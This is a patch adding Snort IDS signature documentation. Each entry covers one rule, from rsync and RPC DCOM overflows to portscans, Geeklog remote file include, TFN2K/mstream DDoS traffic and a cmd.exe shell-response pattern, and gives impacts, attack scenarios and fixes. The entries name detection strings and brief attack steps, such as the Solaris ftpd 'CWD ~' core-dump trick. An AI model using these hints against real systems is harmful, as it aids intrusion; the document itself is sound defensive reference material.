+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow PPTP transactions from the internal LAN to external sources.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2048.txt
+++ snort-2.8.5.2/doc/signatures/2048.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2048
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the rsync daemon (rsyncd).
+
+--
+Impact:
+Serious. Possible theft of data.
+
+--
+Detailed Information:
+rsync is used to synchronize data between two machines across a network.
+It achieves this by only sending the differences between the files on 
+each host.
+
+Since it does not require both hosts to have the data it is 
+synchronizing, it is possible to retrieve a number of files from one 
+host without the corresponding files being present on the receiving 
+host.
+
+This event is generated when an attempt is made to cause a buffer
+overflow condition to occur in the rsync daemon.
+
+--
+Affected Systems:
+	All systems using rsync.
+
+--
+Attack Scenarios:
+The attacker needs to send specially crafted packet data to a host
+running rsyncd.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+Systems using rsync to coordinate sets of data between hosts not in the 
+same LAN.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Access to files via rsync should be carefully managed using access 
+control lists.
+
+The transfer of files from an internal source to an external one should 
+be carefully managed using the appropriate firewall rules.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+rsync Home:
+http://samba.anu.edu.au/rsync/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-12.txt
+++ snort-2.8.5.2/doc/signatures/122-12.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-12
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+distributed protocol scan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/558.txt
+++ snort-2.8.5.2/doc/signatures/558.txt
@@ -0,0 +1,90 @@
+Rule:  
+
+--
+
+Sid:
+
+558
+
+--
+
+Summary:
+
+A network-external server has authenticated an internal GNUTella client
+connection attempt and they have begun communications.
+
+--
+
+Impact:
+
+Possible policy violation.
+
+--
+
+Detailed Information:
+
+GNUTella is a P2P (Peer-to-Peer) protocol for exchanging arbitrary
+files.  Depending on your site's policies, using it may be a policy
+violation.
+
+If not properly configured, GNUTella clients may accidentally share out
+confidential files.  GNUTella worms (which use deceptive names to
+encourage download) and viruses may also be accidentally downloaded by a
+client.
+
+This rule being triggered means that a GNUTella client has been detected
+on the protected network.
+
+--
+
+Affected Systems:
+
+Any system with a GNUTella client installed (available for most
+platforms)
+
+--
+
+Attack Scenarios:
+
+N/A
+
+--
+
+Ease of Attack:
+
+N/A
+
+--
+
+False Positives:
+
+This rule detects the term "GNUTELLA OK" on all ports.  As a result, any
+email, web page, or other network content that discusses the protocol
+and its messages will trigger this alert.
+
+--
+
+False Negatives:
+
+None known.
+
+--
+
+Corrective Action:
+
+Depends on acceptable use policies.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Gene R Gomez (gene!AT!gomezbrothers!DOT!com)
+
+-- 
+
+Additional References:
+
+GNUTella
+http://www.gnutella.com
+
+--
--- snort-2.8.5.2.orig/doc/signatures/496.txt
+++ snort-2.8.5.2/doc/signatures/496.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 496
+
+-- 
+Summary:
+This event is generated by the successful completion of a directory listing operation. This may be indicative of post-compromise behavior indicating the use of a Windows command shell for listing directory contents.
+
+-- 
+Impact: 
+Serious. An attacker may have the ability to execute commands remotely
+
+--
+Detailed Information:
+This event is generated when a standard Windows command for listing directories is executed. The string "Directory of" is typically shown in front of the directory listing on Windows NT/2000/XP.  
+
+Seeing this response in HTTP traffic indicates that an attacker may have been able to spawn a shell bound to a web port and has successfully executed at least one command to list the contents of a directory directory. Note that the source address of this event is actually
+the victim and not that of the attacker.
+
+--
+
+Attack Scenarios: 
+An attacker gains an access to a Windows web server via IIS vulnerability and manages to start a cmd.exe shell. He then proceeds to look for interesting files on the compromised server via the "dir" command.
+
+-- 
+
+Ease of Attack: 
+Simple. This post-attack behavior can accompany different attacks.
+
+-- 
+
+False Positives: 
+This rule will generate an event if the string "Directory of" appears in the content distributed by a web server, in which case the rule should be tuned.
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Investigate the web server for signs of compromise.
+
+Look for other IDS events involving the same IP addresses.
+
+--
+Contributors: 
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3096.txt
+++ snort-2.8.5.2/doc/signatures/3096.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3096
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1950.txt
+++ snort-2.8.5.2/doc/signatures/1950.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+1950
+
+--
+Summary:
+This event is generated when an attempt is made to register a Remote Procedure Call (RPC) program to the portmapper.  RPC is a facility that enables a machine to request a service from another remote machine. This is done without the need for detailed network information. Some versions of RPC have a vulnerability that allows a remote host to register applications from a spoofed source. 
+
+ -- 
+Impact:
+Attempted remote access.  This may be an attempt to maliciously register a program with the portmapper.
+
+--
+Detailed Information:
+Certain versions of rpcbind portmapper contain a flaw that can allow an attacker capable of spoofing TCP packets to register arbitrary RPC programs. It is possible for the attacker to gain root access depending on the RPC service registered.  
+
+-- 
+Affected Systems: 
+All machines running vulnerable RPC services.
+
+--
+Attack Scenarios:
+The attacker could potentially spoof TCP packets using pmap_set to register an RPC service. 
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule writer Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/249.txt
+++ snort-2.8.5.2/doc/signatures/249.txt
@@ -0,0 +1,58 @@
+Rule:
+--
+Sid:
+249
+
+--
+Summary:
+The event is generated when a DDoS mstream client makes contact with an mstream handler.
+
+--
+Impact:
+Severe. If the listed source IP is in your network, it is possibly an mstream client.  If the listed destination IP is in your network, it is possibly an mstream handler.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, clients communicate with handlers to inform them to launch attacks.  A client may contact a handler using a TCP SYN packet to destination port 15104.   
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+After a host becomes an mstream handler, the client will attempt to communicate with the handler.
+
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+A legitimate server port of 15104 will cause this rule to fire.  This rule may also generate a false positive if port 15104 is selected as an FTP data port.
+
+--
+False Negatives:
+There are other known client-to-handler ports in addition to 15104.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet filtering-firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1977.txt
+++ snort-2.8.5.2/doc/signatures/1977.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1977
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1728.txt
+++ snort-2.8.5.2/doc/signatures/1728.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1728
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known vulnerability in the ftp server included with version 2.6 of the Sun Solaris operating system.
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+An error in the ftp daemon supplied with version 2.6 of Sun's Solaris operating system can cause the daemon to overflow a buffer and generate a core file that is world readable.
+
+The attacker may also be able to fill the disk partition by generating core files.
+
+--
+Affected Systems:
+Sun Solaris 2.6
+
+--
+Attack Scenarios:
+An attacker can use a non-standard ftp client or initiate a session with the ftp server and issue a CWD ~ command. The attacker may then be able to read the core file and recover usernames and passwords for other users on the system
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3136.txt
+++ snort-2.8.5.2/doc/signatures/3136.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3136
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1769.txt
+++ snort-2.8.5.2/doc/signatures/1769.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1769
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1449.txt
+++ snort-2.8.5.2/doc/signatures/1449.txt
@@ -0,0 +1,70 @@
+Rule:
+  
+--
+Sid:
+1449
+
+--
+
+Summary:
+This event is generated when an attempt is made to log on anonymously to an ftp server.
+
+--
+
+Impact:
+Information gathering, further exploit/abuse possible.
+
+--
+
+Detailed Information:
+Anonymous logins are usually the first step in the process of gathering 
+data about a machine running the ftp server. The ftp server might be 
+abused for hosting illegal content or an exploit could be performed, 
+gaining elevated privileges.
+
+--
+
+Affected Systems:
+Machines running anonymous ftp servers.
+
+--
+
+Attack Scenarios:
+The attacker can run an automated script over a range of IP addresses to
+detect ftp servers that allow anonymous access and create a list of such
+servers, to be used later.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+If the ftp server allows anonymous login to occur, this rule will 
+generate an event.
+
+--
+
+False Negatives:
+Attacker might use a username 'anonymous' instead of 'ftp' to gain 
+anonymous access.
+
+--
+
+Corrective Action:
+Disable anonymous access on your ftp server.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1215.txt
+++ snort-2.8.5.2/doc/signatures/1215.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1215
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/441.txt
+++ snort-2.8.5.2/doc/signatures/441.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+
+Sid:
+441
+
+--
+
+Summary:
+This event is generated when an ICMP Router Advertisement message is found on the network.
+
+--
+
+Impact:
+
+--
+
+Detailed Information:
+Routers may use ICMP protocol 9 to advertise their information and presence on a network. Clients normally recieve this information from DNS if they use DHCP. Clients with statically assigned addresses do not need this information from an external source.
+
+It may be possible for an attacker to craft a packet of this type in such a way as to change the routing information on a DHCP enabled client.
+
+--
+
+Affected Systems:
+	Microsoft Windows 98
+	Sun Solaris 2.6, Sun OS 5.  
+
+--
+
+Attack Scenarios:
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Address Mask Requests.
+
+--
+
+False Positives:
+Legitimate uses of ICMP type 9 messages are common.
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 9 should be blocked at the upstream firewall.  This type of ICMP request should never originate from a host outside of the protected network.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000729.txt
+++ snort-2.8.5.2/doc/signatures/100000729.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000729
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "functions.inc" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "functions.inc" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3166.txt
+++ snort-2.8.5.2/doc/signatures/3166.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3166
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1567.txt
+++ snort-2.8.5.2/doc/signatures/1567.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1567
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/613.txt
+++ snort-2.8.5.2/doc/signatures/613.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+613
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1462.txt
+++ snort-2.8.5.2/doc/signatures/1462.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1462
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/222.txt
+++ snort-2.8.5.2/doc/signatures/222.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+222
+
+--
+Summary:
+This event is generated when ICMP traffic is sent between Tribe Flood Network 2000 (TFN2K) hosts.
+
+--
+Impact:
+Attempted DDoS. It is possible there is a TFN2K host in your network. 
+
+--
+Detailed Information:
+When TFN2K hosts communicate using ICMP, they may use an ICMP echo reply with an ICMP identification number of 0 and with a sequence of A's in the payload.  The tell-tale sequence of A's is a problem with the Base 64 encoding that was employed.   
+
+--
+Affected Systems:
+Any TFN2K infected host. 
+
+--
+Attack Scenarios:
+TFN2K hosts communicate with each other for various reasons for the ultimate purpose of attacking a target.
+
+--
+Ease of Attack:
+Simple. TFN2K is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS425
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1193.txt
+++ snort-2.8.5.2/doc/signatures/1193.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1193
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
